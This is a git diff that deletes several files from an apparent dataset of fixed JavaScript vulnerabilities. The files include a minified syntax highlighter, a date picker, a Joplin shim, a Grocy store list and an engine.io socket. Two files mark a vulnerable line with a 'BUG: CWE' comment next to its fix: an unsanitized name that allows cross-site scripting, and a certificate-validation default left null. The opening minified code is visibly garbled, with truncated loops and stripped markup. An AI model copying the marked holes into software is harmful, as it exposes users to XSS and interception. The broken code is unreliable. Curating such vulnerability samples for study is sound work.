h(e) {return(e.global?"g":"")+(e.ignoreCase?"i":"")+(e.multiline?"m":"")+(e.extended?"x":"")+(e.sticky?"y":"")}function p(e,t,n,r) {var o=s.length,u,a,f;i=!0;try{while(o--) {f=s[o];if (n&f.scope&&(!f.trigger||f.trigger.call(r))) {f.pattern.lastIndex=t,a=f.pattern.exec(e);if (a&&a.index===t) {u={output:f.handler.call(r,a,n),match:a};break}}}}catch(l) {throw l}finally{i=!1}return u}function d(e,t,n) {if (Array.prototype.indexOf)return e.indexOf(t,n);for(var r=n||0;r-1},setFlag:function(e) {r+=e}};while(a1&&d(n,"")>-1&&(i=RegExp(this.source,o.replace.call(h(this),"g","")),o.replace.call((t+"").slice(n.index),i,function() {for(var t=1;tn.index&&this.lastIndex--}return this.global||(this.lastIndex=s),n},RegExp.prototype.test=function(e) {var t,n;return this.global||(n=this.lastIndex),t=o.exec.call(this,e),t&&!a&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--,this.global||(this.lastIndex=n),!!t},String.prototype.match=function(e) {XRegExp.isRegExp(e)||(e=RegExp(e));if (e.global) {var t=o.match.apply(this,arguments);return e.lastIndex=0,t}return e.exec(this)},String.prototype.replace=function(e,n) {var r=XRegExp.isRegExp(e),i,s,u,a;return r?(e._xregexp&&(i=e._xregexp.captureNames),e.global||(a=e.lastIndex)):e+="",Object.prototype.toString.call(n)==="[object Function]"?s=o.replace.call(this+"",e,function() {if (i) {arguments[0]=new String(arguments[0]);for(var t=0;t-1?e[o+1]:t)}switch(n) {case"$":return"$";case"&":return e[0];case"`":return e[e.length-1].slice(0,e[e.length-2]);case"'":return e[e.length-1].slice(e[e.length-2]+e[0].length);default:var s="";n=+n;if (!n)return t;while(n>e.length-3)s=String.prototype.slice.call(n,-1)+s,n=Math.floor(n/10);return(n?e[n]||"":"$")+s}})})),r&&(e.global?e.lastIndex=0:e.lastIndex=a),s},String.prototype.split=function(t,n) {if (!XRegExp.isRegExp(t))return o.split.apply(this,arguments);var r=this+"",i=[],s=0,u,a;if (n===e||+n<0)n=Infinity;else{n=Math.floor(+n);if (!n)return[]}t=XRegExp.copyAsGlobal(t);while(u=t.exec(r)) {if (t.lastIndex>s) {i.push(r.slice(s,u.index)),u.length>1&&u.index=n)break}t.lastIndex===u.index&&t.lastIndex++}return s===r.length?(!o.test.call(t,"")||a)&&i.push(""):i.push(r.slice(s)),i.length>n?i.slice(0,n):i},XRegExp.addToken(/\(\?#[^)]*\)/,function(e) {return o.test.call(r,e.input.slice(e.index+e[0].length))?"":"(?:)"}),XRegExp.addToken(/\((?!\?)/,function() {return this.captureNames.push(null),"("}),XRegExp.addToken(/\(\?<([$\w]+)>/,function(e) {return this.captureNames.push(e[1]),this.hasNamedCapture=!0,"("}),XRegExp.addToken(/\\k<([\w$]+)>/,function(e) {var t=d(this.captureNames,e[1]);return t>-1?"\\"+(t+1)+(isNaN(e.input.charAt(e.index+e[0].length))?"":"(?:)"):e[0]}),XRegExp.addToken(/\[\^?]/,function(e) {return e[0]==="[]"?"\\b\\B":"[\\s\\S]"}),XRegExp.addToken(/^\(\?([imsx]+)\)/,function(e) {return this.setFlag(e[1]),""}),XRegExp.addToken(/(?:\s+|#.*)+/,function(e) {return o.test.call(r,e.input.slice(e.index+e[0].length))?"":"(?:)"},XRegExp.OUTSIDE_CLASS,function() {return this.hasFlag("x")}),XRegExp.addToken(/\./,function() {return"[\\s\\S]"},XRegExp.OUTSIDE_CLASS,function() {return this.hasFlag("s")})})();if (typeof SyntaxHighlighter=="undefined")var SyntaxHighlighter=function() {function t(e,t) {return e.className.indexOf(t)!=-1}function n(e,n) {t(e,n)||(e.className+=" "+n)}function r(e,t) {e.className=e.className.replace(t,"")}function i(e) {var t=[];for(var n=0;n(.*?))\\]$"),i=new XRegExp("(?[\\w-]+)\\s*:\\s*(?[\\w-%#]+|\\[.*?\\]|\".*?\"|'.*?')\\s*;?","g");while((t=i.exec(e))!=null) {var s=t.value.replace(/^['"]|['"]$/g,"");if (s!=null&&r.test(s)) {var o=r.exec(s);s=o.values.length>0?o.values.split(/\s*,\s*/):[]}n[t.name]=s}return n}function x(t,n) {return t==null||t.length==0||t=="\n"?t:(t=t.replace(/'+e+""})),t)}function T(e,t) {var n=e.toString();while(n.length|<br\s*\/?>/gi;return e.config.bloggerMode==1&&(t=t.replace(n,"\n")),e.config.stripBrs==1&&(t=t.replace(n,"")),t}function L(e) {return e.replace(/^\s+|\s+$/g,"")}function A(e) {var t=s(k(e)),n=new Array,r=/^\s*/,i=1e3;for(var o=0;o0;o++) {var u=t[o];if (L(u).length==0)continue;var a=r.exec(u);if (a==null)return e;i=Math.min(a[0].length,i)}if (i>0)for(var o=0;ot.index?1:e.lengtht.length?1:0}function M(t,n) {function r(e,t) {return e[0]}var i=0,s=null,o=[],u=n.func?n.func:r;while((s=n.regex.exec(t))!=null) {var a=u(s,n);typeof a=="string"&&(a=[new e.Match(a,s.index,n.css)]),o=o.concat(a)}return o}function _(t) {var n=/(.*)((>|<).*)/;return t.replace(e.regexLib.url,function(e) {var t="",r=null;if (r=n.exec(e))e=r[1],t=r[2];return''+e+""+t})}function D() {var e=document.getElementsByTagName("script"),t=[];for(var n=0;n)/gm,url:/\w+:\/\/[\w-.\/?%&=:@;#]*/g,phpScriptTags:{left:/(<|<)\?(?:=|php)?/g,right:/\?(>|>)/g,eof:!0},aspScriptTags:{left:/(<|<)%=?/g,right:/%(>|>)/g},scriptScriptTags:{left:/(<|<)\s*script.*?(>|>)/gi,right:/(<|<)\/\s*script\s*(>|>)/gi}},toolbar:{getHtml:function(t) {function s(t,n) {return e.toolbar.getButtonHtml(t,n,e.config.strings[n])}var n='
    ',r=e.toolbar.items,i=r.list;for(var o=0;o'+n+""},handler:function(t) {function i(e) {var t=new RegExp(e+"_(\\w+)"),n=t.exec(r);return n?n[1]:null}var n=t.target,r=n.className||"",s=u(c(n,".syntaxhighlighter").id),o=i("command");s&&o&&e.toolbar.items[o].execute(s),t.preventDefault()},items:{list:["expandSource","help"],expandSource:{getHtml:function(t) {if (t.getParam("collapse")!=1)return"";var n=t.getParam("title");return e.toolbar.getButtonHtml(t,"expandSource",n?n:e.config.strings.expandSource)},execute:function(e) {var t=a(e.id);r(t,"collapsed")}},help:{execute:function(t) {var n=m("","_blank",500,250,"scrollbars=0"),r=n.document;r.write(e.config.strings.aboutDialog),r.close(),n.focus()}}}},findElements:function(t,n) {var r=n?[n]:i(document.getElementsByTagName(e.config.tagName)),s=e.config,o=[];s.useScriptTags&&(r=r.concat(D()));if (r.length===0)return o;for(var u=0;ur)break;s.index==n.index&&s.length>n.length?e[t]=null:s.index>=n.index&&s.index'+n+"
    "},getLineNumbersHtml:function(t,n) {var r="",i=s(t).length,o=parseInt(this.getParam("first-line")),u=this.getParam("pad-line-numbers");u==1?u=(o+i-1).toString().length:isNaN(u)==1&&(u=0);for(var a=0;a'+c+"":"")+f)}return t},getTitleHtml:function(e) {return e?"
    ":""},getMatchesHtml:function(e,t) {function s(e) {var t=e?e.brushName||i:i;return t?t+" ":""}var n=0,r="",i=this.getParam("brush","");for(var o=0;o'+(this.getParam("toolbar")?e.toolbar.getHtml(this):"")+'
    ').addClass('cw').text('#')); } while (currentDate.isBefore(viewDate.clone().endOf('w'))) { row.append($('').addClass('dow').text(currentDate.format('dd'))); currentDate.add(1, 'd'); } widget.find('.datepicker-days thead').append(row); }, isInDisabledDates = function (testDate) { return options.disabledDates[testDate.format('YYYY-MM-DD')] === true; }, isInEnabledDates = function (testDate) { return options.enabledDates[testDate.format('YYYY-MM-DD')] === true; }, isInDisabledHours = function (testDate) { return options.disabledHours[testDate.format('H')] === true; }, isInEnabledHours = function (testDate) { return options.enabledHours[testDate.format('H')] === true; }, isValid = function (targetMoment, granularity) { if (!targetMoment.isValid()) { return false; } if (options.disabledDates && granularity === 'd' && isInDisabledDates(targetMoment)) { return false; } if (options.enabledDates && granularity === 'd' && !isInEnabledDates(targetMoment)) { return false; } if (options.minDate && targetMoment.isBefore(options.minDate, granularity)) { return false; } if (options.maxDate && targetMoment.isAfter(options.maxDate, granularity)) { return false; } if (options.daysOfWeekDisabled && granularity === 'd' && options.daysOfWeekDisabled.indexOf(targetMoment.day()) !== -1) { return false; } if (options.disabledHours && (granularity === 'h' || granularity === 'm' || granularity === 's') && isInDisabledHours(targetMoment)) { return false; } if (options.enabledHours && (granularity === 'h' || granularity === 'm' || granularity === 's') && !isInEnabledHours(targetMoment)) { return false; } if (options.disabledTimeIntervals && (granularity === 'h' || granularity === 'm' || granularity === 's')) { var found = false; $.each(options.disabledTimeIntervals, function () { if (targetMoment.isBetween(this[0], this[1])) { found = true; return false; } }); if (found) { return false; } } return true; }, fillMonths = function () { var spans = [], monthsShort = viewDate.clone().startOf('y').startOf('d'); while (monthsShort.isSame(viewDate, 'y')) { spans.push($('').attr('data-action', 'selectMonth').addClass('month').text(monthsShort.format('MMM'))); monthsShort.add(1, 'M'); } widget.find('.datepicker-months td').empty().append(spans); }, updateMonths = function () { var monthsView = widget.find('.datepicker-months'), monthsViewHeader = monthsView.find('th'), months = monthsView.find('tbody').find('span'); monthsViewHeader.eq(0).find('span').attr('title', options.tooltips.prevYear); monthsViewHeader.eq(1).attr('title', options.tooltips.selectYear); monthsViewHeader.eq(2).find('span').attr('title', options.tooltips.nextYear); monthsView.find('.disabled').removeClass('disabled'); if (!isValid(viewDate.clone().subtract(1, 'y'), 'y')) { monthsViewHeader.eq(0).addClass('disabled'); } monthsViewHeader.eq(1).text(viewDate.year()); if (!isValid(viewDate.clone().add(1, 'y'), 'y')) { monthsViewHeader.eq(2).addClass('disabled'); } months.removeClass('active'); if (date.isSame(viewDate, 'y') && !unset) { months.eq(date.month()).addClass('active'); } months.each(function (index) { if (!isValid(viewDate.clone().month(index), 'M')) { $(this).addClass('disabled'); } }); }, updateYears = function () { var yearsView = widget.find('.datepicker-years'), yearsViewHeader = yearsView.find('th'), startYear = viewDate.clone().subtract(5, 'y'), endYear = viewDate.clone().add(6, 'y'), html = ''; yearsViewHeader.eq(0).find('span').attr('title', options.tooltips.prevDecade); yearsViewHeader.eq(1).attr('title', options.tooltips.selectDecade); yearsViewHeader.eq(2).find('span').attr('title', options.tooltips.nextDecade); yearsView.find('.disabled').removeClass('disabled'); if (options.minDate && options.minDate.isAfter(startYear, 'y')) { yearsViewHeader.eq(0).addClass('disabled'); } yearsViewHeader.eq(1).text(startYear.year() + '-' + endYear.year()); if (options.maxDate && options.maxDate.isBefore(endYear, 'y')) { yearsViewHeader.eq(2).addClass('disabled'); } while (!startYear.isAfter(endYear, 'y')) { html += '' + startYear.year() + ''; startYear.add(1, 'y'); } yearsView.find('td').html(html); }, updateDecades = function () { var decadesView = widget.find('.datepicker-decades'), decadesViewHeader = decadesView.find('th'), startDecade = moment({y: viewDate.year() - (viewDate.year() % 100) - 1}), endDecade = startDecade.clone().add(100, 'y'), startedAt = startDecade.clone(), html = ''; decadesViewHeader.eq(0).find('span').attr('title', options.tooltips.prevCentury); decadesViewHeader.eq(2).find('span').attr('title', options.tooltips.nextCentury); decadesView.find('.disabled').removeClass('disabled'); if (startDecade.isSame(moment({y: 1900})) || (options.minDate && options.minDate.isAfter(startDecade, 'y'))) { decadesViewHeader.eq(0).addClass('disabled'); } decadesViewHeader.eq(1).text(startDecade.year() + '-' + endDecade.year()); if (startDecade.isSame(moment({y: 2000})) || (options.maxDate && options.maxDate.isBefore(endDecade, 'y'))) { decadesViewHeader.eq(2).addClass('disabled'); } while (!startDecade.isAfter(endDecade, 'y')) { html += '' + (startDecade.year() + 1) + ' - ' + (startDecade.year() + 12) + ''; startDecade.add(12, 'y'); } html += ''; //push the dangling block over, at least this way it's even decadesView.find('td').html(html); decadesViewHeader.eq(1).text((startedAt.year() + 1) + '-' + (startDecade.year())); }, fillDate = function () { var daysView = widget.find('.datepicker-days'), daysViewHeader = daysView.find('th'), currentDate, html = [], row, clsName, i; if (!hasDate()) { return; } daysViewHeader.eq(0).find('span').attr('title', options.tooltips.prevMonth); daysViewHeader.eq(1).attr('title', options.tooltips.selectMonth); daysViewHeader.eq(2).find('span').attr('title', options.tooltips.nextMonth); daysView.find('.disabled').removeClass('disabled'); daysViewHeader.eq(1).text(viewDate.format(options.dayViewHeaderFormat)); if (!isValid(viewDate.clone().subtract(1, 'M'), 'M')) { daysViewHeader.eq(0).addClass('disabled'); } if (!isValid(viewDate.clone().add(1, 'M'), 'M')) { daysViewHeader.eq(2).addClass('disabled'); } currentDate = viewDate.clone().startOf('M').startOf('w').startOf('d'); for (i = 0; i < 42; i++) { //always display 42 days (should show 6 weeks) if (currentDate.weekday() === 0) { row = $('
    ' + currentDate.week() + '' + currentDate.date() + '
    ' + currentHour.format(use24Hours ? 'HH' : 'hh') + '
    ' + currentMinute.format('mm') + '
    ' + currentSecond.format('ss') + '
    "+e+"
    '+this.getTitleHtml(this.getParam("title"))+""+""+(gutter?'":"")+'"+""+""+"
    '+this.getLineNumbersHtml(t)+"'+'
    '+n+"
    "+"
    "+"",n},getDiv:function(t) {t===null&&(t=""),this.code=t;var n=this.create("div");return n.innerHTML=this.getHtml(t),this.getParam("toolbar")&&g(l(n,".toolbar"),"click",e.toolbar.handler),this.getParam("quick-code")&&g(l(n,".code"),"dblclick",H),n},init:function(t) {this.id=p(),f(this),this.params=d(e.defaults,t||{}),this.getParam("light")==1&&(this.params.toolbar=this.params.gutter=!1)},getKeywords:function(e) {return e=e.replace(/^\s+|\s+$/g,"").replace(/\s+/g,"|"),"\\b(?:"+e+")\\b"},forHtmlScript:function(e) {var t={end:e.right.source};e.eof&&(t.end="(?:(?:"+t.end+")|$)"),this.htmlScript={left:{regex:e.left,css:"script"},right:{regex:e.right,css:"script"},code:new XRegExp("(?"+e.left.source+")"+"(?.*?)"+"(?"+t.end+")","sgi")}}},e}();typeof exports!="undefined"?exports.SyntaxHighlighter=SyntaxHighlighter:null \ No newline at end of file diff --git a/data/javascript/jscvefixed182.txt b/data/javascript/jscvefixed182.txt deleted file mode 100644 index 03180fb04bea2eec75b685c5daa0e15ed8d6444e..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed182.txt +++ /dev/null @@ -1 +0,0 @@ -const fs = require('fs-extra');const { shim } = require('lib/shim.js');const { GeolocationNode } = require('lib/geolocation-node.js');const { FileApiDriverLocal } = require('lib/file-api-driver-local.js');const { setLocale, defaultLocale, closestSupportedLocale } = require('lib/locale.js');const { FsDriverNode } = require('lib/fs-driver-node.js');const mimeUtils = require('lib/mime-utils.js').mime;const Note = require('lib/models/Note.js');const Resource = require('lib/models/Resource.js');const urlValidator = require('valid-url');const { _ } = require('lib/locale.js');function shimInit() { shim.fsDriver = () => { throw new Error('Not implemented'); }; shim.FileApiDriverLocal = FileApiDriverLocal; shim.Geolocation = GeolocationNode; shim.FormData = require('form-data'); shim.sjclModule = require('lib/vendor/sjcl.js'); shim.fsDriver = () => { if (!shim.fsDriver_) shim.fsDriver_ = new FsDriverNode(); return shim.fsDriver_; }; shim.randomBytes = async count => { const buffer = require('crypto').randomBytes(count); return Array.from(buffer); }; shim.detectAndSetLocale = function(Setting) { let locale = process.env.LANG; if (!locale) locale = defaultLocale(); locale = locale.split('.'); locale = locale[0]; locale = closestSupportedLocale(locale); Setting.setValue('locale', locale); setLocale(locale); return locale; }; shim.writeImageToFile = async function(nativeImage, mime, targetPath) { if (shim.isElectron()) { // For Electron let buffer = null; mime = mime.toLowerCase(); if (mime === 'image/png') { buffer = nativeImage.toPNG(); } else if (mime === 'image/jpg' || mime === 'image/jpeg') { buffer = nativeImage.toJPEG(90); } if (!buffer) throw new Error(`Cannot resize image because mime type "${mime}" is not supported: ${targetPath}`); await shim.fsDriver().writeFile(targetPath, buffer, 'buffer'); } else { throw new Error('Node support not implemented'); } }; const resizeImage_ = async function(filePath, targetPath, mime) { const maxDim = Resource.IMAGE_MAX_DIMENSION; if (shim.isElectron()) { // For Electron const nativeImage = require('electron').nativeImage; let image = nativeImage.createFromPath(filePath); if (image.isEmpty()) throw new Error(`Image is invalid or does not exist: ${filePath}`); const size = image.getSize(); if (size.width <= maxDim && size.height <= maxDim) { shim.fsDriver().copy(filePath, targetPath); return; } const options = {}; if (size.width > size.height) { options.width = maxDim; } else { options.height = maxDim; } image = image.resize(options); await shim.writeImageToFile(image, mime, targetPath); } else { // For the CLI tool const sharp = require('sharp'); const image = sharp(filePath); const md = await image.metadata(); if (md.width <= maxDim && md.height <= maxDim) { shim.fsDriver().copy(filePath, targetPath); return; } return new Promise((resolve, reject) => { image .resize(Resource.IMAGE_MAX_DIMENSION, Resource.IMAGE_MAX_DIMENSION, { fit: 'inside', withoutEnlargement: true, }) .toFile(targetPath, (err, info) => { if (err) { reject(err); } else { resolve(info); } }); }); } }; shim.createResourceFromPath = async function(filePath, defaultProps = null) { const readChunk = require('read-chunk'); const imageType = require('image-type'); const { uuid } = require('lib/uuid.js'); const { basename, fileExtension, safeFileExtension } = require('lib/path-utils.js'); if (!(await fs.pathExists(filePath))) throw new Error(_('Cannot access %s', filePath)); defaultProps = defaultProps ? defaultProps : {}; const resourceId = defaultProps.id ? defaultProps.id : uuid.create(); let resource = Resource.new(); resource.id = resourceId; resource.mime = mimeUtils.fromFilename(filePath); resource.title = basename(filePath); let fileExt = safeFileExtension(fileExtension(filePath)); if (!resource.mime) { const buffer = await readChunk(filePath, 0, 64); const detectedType = imageType(buffer); if (detectedType) { fileExt = detectedType.ext; resource.mime = detectedType.mime; } else { resource.mime = 'application/octet-stream'; } } resource.file_extension = fileExt; let targetPath = Resource.fullPath(resource); if (resource.mime == 'image/jpeg' || resource.mime == 'image/jpg' || resource.mime == 'image/png') { await resizeImage_(filePath, targetPath, resource.mime); } else { // const stat = await shim.fsDriver().stat(filePath); // if (stat.size >= 10000000) throw new Error('Resources larger than 10 MB are not currently supported as they may crash the mobile applications. The issue is being investigated and will be fixed at a later time.'); await fs.copy(filePath, targetPath, { overwrite: true }); } if (defaultProps) { resource = Object.assign({}, resource, defaultProps); } const itDoes = await shim.fsDriver().waitTillExists(targetPath); if (!itDoes) throw new Error(`Resource file was not created: ${targetPath}`); const fileStat = await shim.fsDriver().stat(targetPath); resource.size = fileStat.size; return Resource.save(resource, { isNew: true }); }; shim.attachFileToNote = async function(note, filePath, position = null, createFileURL = false) { const { basename } = require('path'); const { escapeLinkText } = require('lib/markdownUtils'); const { toFileProtocolPath } = require('lib/path-utils'); let resource = []; if (!createFileURL) { resource = await shim.createResourceFromPath(filePath); } const newBody = []; if (position === null) { position = note.body ? note.body.length : 0; } if (note.body && position) newBody.push(note.body.substr(0, position)); if (!createFileURL) { newBody.push(Resource.markdownTag(resource)); } else { let filename = escapeLinkText(basename(filePath)); // to get same filename as standard drag and drop let fileURL = `[${filename}](${toFileProtocolPath(filePath)})`; newBody.push(fileURL); } if (note.body) newBody.push(note.body.substr(position)); const newNote = Object.assign({}, note, { body: newBody.join('\n\n'), }); return await Note.save(newNote); }; shim.imageFromDataUrl = async function(imageDataUrl, filePath, options = null) { if (options === null) options = {}; if (shim.isElectron()) { const nativeImage = require('electron').nativeImage; let image = nativeImage.createFromDataURL(imageDataUrl); // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') // if (image.isEmpty()) throw new Error('Could not convert data URL to image'); // Would throw for example if the image format is no supported (eg. image/gif) // FIXED: if (image.isEmpty()) throw new Error('Could not convert data URL to image - perhaps the format is not supported (eg. image/gif)'); // Would throw for example if the image format is no supported (eg. image/gif) if (options.cropRect) { // Crop rectangle values need to be rounded or the crop() call will fail const c = options.cropRect; if ('x' in c) c.x = Math.round(c.x); if ('y' in c) c.y = Math.round(c.y); if ('width' in c) c.width = Math.round(c.width); if ('height' in c) c.height = Math.round(c.height); image = image.crop(c); } const mime = mimeUtils.fromDataUrl(imageDataUrl); await shim.writeImageToFile(image, mime, filePath); } else { if (options.cropRect) throw new Error('Crop rect not supported in Node'); const imageDataURI = require('image-data-uri'); const result = imageDataURI.decode(imageDataUrl); await shim.fsDriver().writeFile(filePath, result.dataBuffer, 'buffer'); } }; const nodeFetch = require('node-fetch'); // Not used?? shim.readLocalFileBase64 = path => { const data = fs.readFileSync(path); return new Buffer(data).toString('base64'); }; shim.fetch = async function(url, options = null) { const validatedUrl = urlValidator.isUri(url); if (!validatedUrl) throw new Error(`Not a valid URL: ${url}`); return shim.fetchWithRetry(() => { return nodeFetch(url, options); }, options); }; shim.fetchBlob = async function(url, options) { if (!options || !options.path) throw new Error('fetchBlob: target file path is missing'); if (!options.method) options.method = 'GET'; // if (!('maxRetry' in options)) options.maxRetry = 5; const urlParse = require('url').parse; url = urlParse(url.trim()); const method = options.method ? options.method : 'GET'; const http = url.protocol.toLowerCase() == 'http:' ? require('follow-redirects').http : require('follow-redirects').https; const headers = options.headers ? options.headers : {}; const filePath = options.path; function makeResponse(response) { return { ok: response.statusCode < 400, path: filePath, text: () => { return response.statusMessage; }, json: () => { return { message: `${response.statusCode}: ${response.statusMessage}` }; }, status: response.statusCode, headers: response.headers, }; } const requestOptions = { protocol: url.protocol, host: url.hostname, port: url.port, method: method, path: url.pathname + (url.query ? `?${url.query}` : ''), headers: headers, }; const doFetchOperation = async () => { return new Promise((resolve, reject) => { let file = null; const cleanUpOnError = error => { // We ignore any unlink error as we only want to report on the main error fs.unlink(filePath) .catch(() => {}) .then(() => { if (file) { file.close(() => { file = null; reject(error); }); } else { reject(error); } }); }; try { // Note: relative paths aren't supported file = fs.createWriteStream(filePath); file.on('error', function(error) { cleanUpOnError(error); }); const request = http.request(requestOptions, function(response) { response.pipe(file); file.on('finish', function() { file.close(() => { resolve(makeResponse(response)); }); }); }); request.on('error', function(error) { cleanUpOnError(error); }); request.end(); } catch (error) { cleanUpOnError(error); } }); }; return shim.fetchWithRetry(doFetchOperation, options); }; shim.uploadBlob = async function(url, options) { if (!options || !options.path) throw new Error('uploadBlob: source file path is missing'); const content = await fs.readFile(options.path); options = Object.assign({}, options, { body: content, }); return shim.fetch(url, options); }; shim.stringByteLength = function(string) { return Buffer.byteLength(string, 'utf-8'); }; shim.Buffer = Buffer; shim.openUrl = url => { const { bridge } = require('electron').remote.require('./bridge'); // Returns true if it opens the file successfully; returns false if it could // not find the file. return bridge().openExternal(url); }; shim.openOrCreateFile = (filepath, defaultContents) => { // If the file doesn't exist, create it if (!fs.existsSync(filepath)) { fs.writeFile(filepath, defaultContents, 'utf-8', (error) => { if (error) { console.error(`error: ${error}`); } }); } // Open the file return shim.openUrl(`file://${filepath}`); }; shim.waitForFrame = () => {}; shim.appVersion = () => { if (shim.isElectron()) { const p = require('../packageInfo.js'); return p.version; } const p = require('../package.json'); return p.version; };}module.exports = { shimInit }; \ No newline at end of file diff --git a/data/javascript/jscvefixed183.txt b/data/javascript/jscvefixed183.txt deleted file mode 100644 index f0a83a43888ce2c4647c44024312f50d94d3af46..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed183.txt +++ /dev/null @@ -1 +0,0 @@ -var locationsTable = $('#shoppinglocations-table').DataTable({ 'order': [[1, 'asc']], 'columnDefs': [ { 'orderable': false, 'targets': 0 }, { 'searchable': false, "targets": 0 } ]});$('#shoppinglocations-table tbody').removeClass("d-none");locationsTable.columns.adjust().draw();$("#search").on("keyup", Delay(function(){ var value = $(this).val(); if (value === "all") { value = ""; } locationsTable.search(value).draw();}, 200));$(document).on('click', '.shoppinglocation-delete-button', function(e){ // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') // var objectName = $(e.currentTarget).attr('data-shoppinglocation-name'); // FIXED: var objectName = SanitizeHtml($(e.currentTarget).attr('data-shoppinglocation-name')); var objectId = $(e.currentTarget).attr('data-shoppinglocation-id'); bootbox.confirm({ message: __t('Are you sure to delete store "%s"?', objectName), closeButton: false, buttons: { confirm: { label: __t('Yes'), className: 'btn-success' }, cancel: { label: __t('No'), className: 'btn-danger' } }, callback: function(result) { if (result === true) { Grocy.Api.Delete('objects/shopping_locations/' + objectId, {}, function(result) { window.location.href = U('/shoppinglocations'); }, function(xhr) { console.error(xhr); } ); } } });}); \ No newline at end of file diff --git a/data/javascript/jscvefixed184.txt b/data/javascript/jscvefixed184.txt deleted file mode 100644 index d1dba3e169a84cde7bad56dc75a830aaf99e6edb..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed184.txt +++ /dev/null @@ -1 +0,0 @@ -/** * Module dependencies. */var transports = require('./transports');var Emitter = require('component-emitter');var debug = require('debug')('engine.io-client:socket');var index = require('indexof');var parser = require('engine.io-parser');var parseuri = require('parseuri');var parsejson = require('parsejson');var parseqs = require('parseqs');/** * Module exports. */module.exports = Socket;/** * Socket constructor. * * @param {String|Object} uri or options * @param {Object} options * @api public */function Socket (uri, opts) { if (!(this instanceof Socket)) return new Socket(uri, opts); opts = opts || {}; if (uri && 'object' === typeof uri) { opts = uri; uri = null; } if (uri) { uri = parseuri(uri); opts.hostname = uri.host; opts.secure = uri.protocol === 'https' || uri.protocol === 'wss'; opts.port = uri.port; if (uri.query) opts.query = uri.query; } else if (opts.host) { opts.hostname = parseuri(opts.host).host; } this.secure = null != opts.secure ? opts.secure : (global.location && 'https:' === location.protocol); if (opts.hostname && !opts.port) { // if no port is specified manually, use the protocol default opts.port = this.secure ? '443' : '80'; } this.agent = opts.agent || false; this.hostname = opts.hostname || (global.location ? location.hostname : 'localhost'); this.port = opts.port || (global.location && location.port ? location.port : (this.secure ? 443 : 80)); this.query = opts.query || {}; if ('string' === typeof this.query) this.query = parseqs.decode(this.query); this.upgrade = false !== opts.upgrade; this.path = (opts.path || '/engine.io').replace(/\/$/, '') + '/'; this.forceJSONP = !!opts.forceJSONP; this.jsonp = false !== opts.jsonp; this.forceBase64 = !!opts.forceBase64; this.enablesXDR = !!opts.enablesXDR; this.timestampParam = opts.timestampParam || 't'; this.timestampRequests = opts.timestampRequests; this.transports = opts.transports || ['polling', 'websocket']; this.readyState = ''; this.writeBuffer = []; this.policyPort = opts.policyPort || 843; this.rememberUpgrade = opts.rememberUpgrade || false; this.binaryType = null; this.onlyBinaryUpgrades = opts.onlyBinaryUpgrades; this.perMessageDeflate = false !== opts.perMessageDeflate ? (opts.perMessageDeflate || {}) : false; if (true === this.perMessageDeflate) this.perMessageDeflate = {}; if (this.perMessageDeflate && null == this.perMessageDeflate.threshold) { this.perMessageDeflate.threshold = 1024; } // SSL options for Node.js client this.pfx = opts.pfx || null; this.key = opts.key || null; this.passphrase = opts.passphrase || null; this.cert = opts.cert || null; this.ca = opts.ca || null; this.ciphers = opts.ciphers || null; // BUG: CWE-295 Improper Certificate Validation // this.rejectUnauthorized = opts.rejectUnauthorized === undefined ? null : opts.rejectUnauthorized; // FIXED: this.rejectUnauthorized = opts.rejectUnauthorized === undefined ? true : opts.rejectUnauthorized; // other options for Node.js client var freeGlobal = typeof global === 'object' && global; if (freeGlobal.global === freeGlobal) { if (opts.extraHeaders && Object.keys(opts.extraHeaders).length > 0) { this.extraHeaders = opts.extraHeaders; } } this.open();}Socket.priorWebsocketSuccess = false;/** * Mix in `Emitter`. */Emitter(Socket.prototype);/** * Protocol version. * * @api public */Socket.protocol = parser.protocol; // this is an int/** * Expose deps for legacy compatibility * and standalone browser access. */Socket.Socket = Socket;Socket.Transport = require('./transport');Socket.transports = require('./transports');Socket.parser = require('engine.io-parser');/** * Creates transport of the given type. * * @param {String} transport name * @return {Transport} * @api private */Socket.prototype.createTransport = function (name) { debug('creating transport "%s"', name); var query = clone(this.query); // append engine.io protocol identifier query.EIO = parser.protocol; // transport name query.transport = name; // session id if we already have one if (this.id) query.sid = this.id; var transport = new transports[name]({ agent: this.agent, hostname: this.hostname, port: this.port, secure: this.secure, path: this.path, query: query, forceJSONP: this.forceJSONP, jsonp: this.jsonp, forceBase64: this.forceBase64, enablesXDR: this.enablesXDR, timestampRequests: this.timestampRequests, timestampParam: this.timestampParam, policyPort: this.policyPort, socket: this, pfx: this.pfx, key: this.key, passphrase: this.passphrase, cert: this.cert, ca: this.ca, ciphers: this.ciphers, rejectUnauthorized: this.rejectUnauthorized, perMessageDeflate: this.perMessageDeflate, extraHeaders: this.extraHeaders }); return transport;};function clone (obj) { var o = {}; for (var i in obj) { if (obj.hasOwnProperty(i)) { o[i] = obj[i]; } } return o;}/** * Initializes transport to use and starts probe. * * @api private */Socket.prototype.open = function () { var transport; if (this.rememberUpgrade && Socket.priorWebsocketSuccess && this.transports.indexOf('websocket') !== -1) { transport = 'websocket'; } else if (0 === this.transports.length) { // Emit error on next tick so it can be listened to var self = this; setTimeout(function () { self.emit('error', 'No transports available'); }, 0); return; } else { transport = this.transports[0]; } this.readyState = 'opening'; // Retry with the next transport if the transport is disabled (jsonp: false) try { transport = this.createTransport(transport); } catch (e) { this.transports.shift(); this.open(); return; } transport.open(); this.setTransport(transport);};/** * Sets the current transport. Disables the existing one (if any). * * @api private */Socket.prototype.setTransport = function (transport) { debug('setting transport %s', transport.name); var self = this; if (this.transport) { debug('clearing existing transport %s', this.transport.name); this.transport.removeAllListeners(); } // set up transport this.transport = transport; // set up transport listeners transport .on('drain', function () { self.onDrain(); }) .on('packet', function (packet) { self.onPacket(packet); }) .on('error', function (e) { self.onError(e); }) .on('close', function () { self.onClose('transport close'); });};/** * Probes a transport. * * @param {String} transport name * @api private */Socket.prototype.probe = function (name) { debug('probing transport "%s"', name); var transport = this.createTransport(name, { probe: 1 }); var failed = false; var self = this; Socket.priorWebsocketSuccess = false; function onTransportOpen () { if (self.onlyBinaryUpgrades) { var upgradeLosesBinary = !this.supportsBinary && self.transport.supportsBinary; failed = failed || upgradeLosesBinary; } if (failed) return; debug('probe transport "%s" opened', name); transport.send([{ type: 'ping', data: 